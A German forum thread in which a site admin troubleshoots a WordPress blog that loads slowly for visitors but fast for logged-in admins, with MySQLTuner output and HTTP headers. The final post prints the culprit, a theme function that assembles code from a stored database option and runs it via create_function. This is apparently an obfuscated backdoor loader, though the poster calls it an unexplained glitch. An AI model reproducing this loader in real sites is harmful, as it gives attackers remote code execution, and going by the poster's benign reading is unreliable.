als admin: alles super-schnell, nicht eingeloggt: super langsam

hallo,

ich bin am verzweifeln und hab mich auch schon totgesucht.
bevor ich jetzt lange configs poste, frage ich erst einmal, ob vielleicht jemand von euch dieses problem kennt:

als admin eingeloggt, ist der blog super schnell, alles läuft prima.
als normaler besucher (nicht eingeloggt) dauern urls, die noch nicht im cache sind bis zu 20 sekunden :(

ich habe hier einen nginx mit php-fpm und schon alles mögliche probiert und versucht zu debuggen.
ich komme einfach nicht weiter. ich hatte den blog kurzfristig auch auf apache2 gelegt (gleicher server)
und das gleiche problem. weswegen ich jetzt unsicher bin, ob es überhaupt etwas mit nginx und php-fpm
zu tun hat. diverse logs zeigen einfach nichts.

aktuell ist das problem einfach: der browser stellt die anfrage und der webserver braucht bis zu 10-20 sekunden
bevor man im browser überhaupt etwas sieht. und das gleiche bei allen weiteren links.

als admin eingeloggt geht jedoch alles rasend schnell - ich bin dankbar für jeden tip und hinweis!

lg

servus,
bei mir gehts um diesen blog: http://blog.bertelshofer.com/
die startseite geht manchmal super schnell, dann wieder nicht...
aber jeder link (den man noch nicht geklickt hat) braucht ewig.
ich hab mit wordpress noch nicht allzuviel gemacht aber auf seiten des servers
weiss ich leider nicht mehr weiter. komisch ist wirklich dieses phänomen, dass eingeloggt alles super schnell ist,
nicht eingeloggt seiten bis zu 20sek dauern. auch wie bei Hapewe wurde hier am blog seit wochen nichts gemacht.
es ist ein rätsel. externe links (shareholic, twitter usw...) hab ich schon deaktiviert um zu sehen, ob es damit zusammenhängt,
fehlanzeige ;(

also, ich habe das hintergrundbild mal entfernt, aber mir war von anfang klar, dass es nichts damit zu tun hat.
wie man sieht dauert auch jetzt der eine oder andere link noch immer 20 sekunden. der load auf der kiste hat auch damit
nichts zu tun. die üblichen verdächtigen habe ich alle schon untersucht:

- openfile limit
- php-fpm (ausreichend worker)
- memory_limit (genug)
- (files liegen überigens aus einer SSD)
- egal wie hoch der load ist, selbst direkt nach einem neustart: gleiches problem
- genug ram ist da (auch kein problem)
- php-fpm via socket und tcp getestet, kein unterschied
- ich habe mehrere php-fpm instanzen am laufen, auf einem anderen port/instanz läuft eine andere webseite, super schnell und flüssig, gleicher rechner - ich vermute also, dass es auch nichts direkt mit nginx/php-fpm zu tun hat

vielleicht werden unnötig viele redirect intern gemacht, aber das ist nur eine vermutung.
was mich eben total irritiert: mit apache hatte ich das gleiche problem. also die verdächtigen webserver/php-fpm müssen nicht unbedingt die schuldigen sein, zumal andere webseiten super-schnell und problemlos laufen. nur das blö.... WP eben nicht ;-((

null plan ;(

ich kenne WP leider zu wenig um den grossen unterschied zwischen "ich bin eingeloggt" und "bin es nicht" zu verstehen.

du meinst du möchtest den output von mysqltuner sehen ? falls du das meinst, hab ich nicht überlesen, jedoch hab ich das alles hinter mir und bereits auch alle tables schon defragmentiert, den query cache angepasst usw... möchtest du den output sehen oder meinst du etwas anderes ?

klar, kein thema...

[size=8][FONT=verdana] >> MySQLTuner 1.2.0 - Major Hayden <major@mhtx.net>[/FONT][/SIZE]
[size=8][FONT=verdana] >> Bug reports, feature requests, and downloads at http://mysqltuner.com/[/FONT][/SIZE]
[size=8][FONT=verdana] >> Run with '--help' for additional options and output filtering[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Logged in using credentials from debian maintenance account.[/FONT][/SIZE]
[size=8][FONT=verdana]
[/FONT][/SIZE]
[size=8][FONT=verdana]-------- General Statistics --------------------------------------------------[/FONT][/SIZE]
[size=8][FONT=verdana][--] Skipped version check for MySQLTuner script[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Currently running supported MySQL version 5.5.30-1~dotdeb.0-log[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Operating on 64-bit architecture[/FONT][/SIZE]
[size=8][FONT=verdana]
[/FONT][/SIZE]
[size=8][FONT=verdana]-------- Storage Engine Statistics -------------------------------------------[/FONT][/SIZE]
[size=8][FONT=verdana][--] Status: +Archive -BDB -Federated +InnoDB -ISAM -NDBCluster [/FONT][/SIZE]
[size=8][FONT=verdana][--] Data in MyISAM tables: 3G (Tables: 308[/FONT][/SIZE]
[size=8][FONT=verdana][--] Data in InnoDB tables: 823M (Tables: 296)[/FONT][/SIZE]
[size=8][FONT=verdana][--] Data in PERFORMANCE_SCHEMA tables: 0B (Tables: 17)[/FONT][/SIZE]
[size=8][FONT=verdana][--] Data in ARCHIVE tables: 59K (Tables: 1)[/FONT][/SIZE]
[size=8][FONT=verdana][--] Data in MEMORY tables: 124K (Tables: 18)[/FONT][/SIZE]
[size=8][FONT=verdana][!!] Total fragmented tables: 297[/FONT][/SIZE]
[size=8][FONT=verdana]
[/FONT][/SIZE]
[size=8][FONT=verdana]-------- Performance Metrics -------------------------------------------------[/FONT][/SIZE]
[size=8][FONT=verdana][--] Up for: 19h 19m 40s (25M q [365.374 qps], 373K conn, TX: 42B, RX: 9B)[/FONT][/SIZE]
[size=8][FONT=verdana][--] Reads / Writes: 62% / 38%[/FONT][/SIZE]
[size=8][FONT=verdana][--] Total buffers: 3.8G global + 2.8M per thread (3500 max threads)[/FONT][/SIZE]
[size=8][FONT=verdana][!!] Maximum possible memory usage: 13.2G (164% of installed RAM)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Slow queries: 0% (229/25M)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Highest usage of available connections: 6% (221/3500)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Key buffer size / total MyISAM indexes: 2.0G/1.1G[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Key buffer hit rate: 100.0% (142M cached / 30K reads)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Query cache efficiency: 89.5% (18M cached / 20M selects)[/FONT][/SIZE]
[size=8][FONT=verdana][!!] Query cache prunes per day: 35005[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Sorts requiring temporary tables: 0% (7 temp sorts / 333K sorts)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Temporary tables created on disk: 22% (126K on disk / 558K total)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Thread cache hit rate: 98% (4K created / 373K connections)[/FONT][/SIZE]
[size=8][FONT=verdana][!!] Table cache hit rate: 8% (881 open / 10K opened)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Open file limit used: 4% (822/19K)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] Table locks acquired immediately: 99% (5M immediate / 5M locks)[/FONT][/SIZE]
[size=8][FONT=verdana][OK] InnoDB data size / buffer pool: 823.6M/1.0G

[/FONT][/SIZE]wie gesagt, tables sind alle schon mehrfach defrag worden, was man hier sieht
ist ja nicht nur der blog, sondern noch ein paar andere DBs...

meine header sehen eingeloggt so aus:

[FONT=Consolas][size=8]HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Oct 2013 17:29:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-aliveVary:
Accept-Encoding
X-Pingback: http://blog.bertelshofer.com/xmlrpc.php
[/SIZE][/FONT][size=8]Expires:[/SIZE][FONT=Consolas][size=8] Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0Pragma: no-cache[/SIZE]

nicht eingeloggt:

[/FONT][size=8]HTTP/1.1 200 OK[/SIZE]
[size=8]Server: nginx[/SIZE]
[size=8]Date: Wed, 16 Oct 2013 17:31:51 GMT[/SIZE]
[size=8]Content-Type: text/html; charset=UTF-8[/SIZE]
[size=8]Transfer-Encoding: chunked[/SIZE]
[size=8]Connection: keep-alive[/SIZE]
[size=8]Vary: Accept-Encoding[/SIZE]
[size=8]X-Pingback: http://blog.bertelshofer.com/xmlrpc.php[/SIZE]
[size=8]Link: <http://blog.bertelshofer.com/?p=314>; rel=shortlink[/SIZE]
[size=8]Content-Encoding: gzip[/SIZE]
[FONT=Consolas]
[/FONT]aus meiner sicht hat das gzip mit unserem problem nichts zu tun.... ;(
grundsätzlich hast du aber recht, eingeloggt (als admin) bekommt man auf jeden fall immer gesagt: keinen cache nutzen!
ich spiele gerade mit dem gedanken den NGINX mal den gleichen header mitschicken zu lassen, wenn ich NICHT eingeloggt bin,
mal sehen ob das einen unterschied macht....

der load bewegt sich zwischen 2 und 3. ich weiss, dass dies zuviel ist (für einen ruhigen normalen betrieb),
aber dieser load ist für diese kiste schlicht weg "normal". ein kollege von mir fängt jetzt mal an WP zu debuggen,
server-technisch etwas zu suchen ist schlimmer wie die nadel im heuhaufen... ich denke man muss die sache von WP
aus angehen... ich brenne darauf zu erfahren, wo der hase begraben ist..... je grösser die auswirkungen, desto kleiner die
ursache... das hab ich leider lernen müssen ;(

servus,
grossen dank an hille, für die den tip mit dem defaut theme. das hat uns auf die richtige spur gebracht.
es lag an einer function im header vom template:

function page_options() { $option = get_option('page_option'); $opt=unserialize($option); 
 @$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');}

aus einem mir nicht erklärbaren grund hat diese sache auf einmal probleme gemacht....
nachdem diese funktion auskommentiert wurde, lief alles wieder rasend schnell, so wie es sollte...
erstaunlich ist dennoch, dass niemand was am template gemacht hat und auf einmal eine sache probleme macht,
die vorher niemanden gestört hat.... erstaunlich.... aber ich bin heil froh dass der mist endlich wieder rennt ;)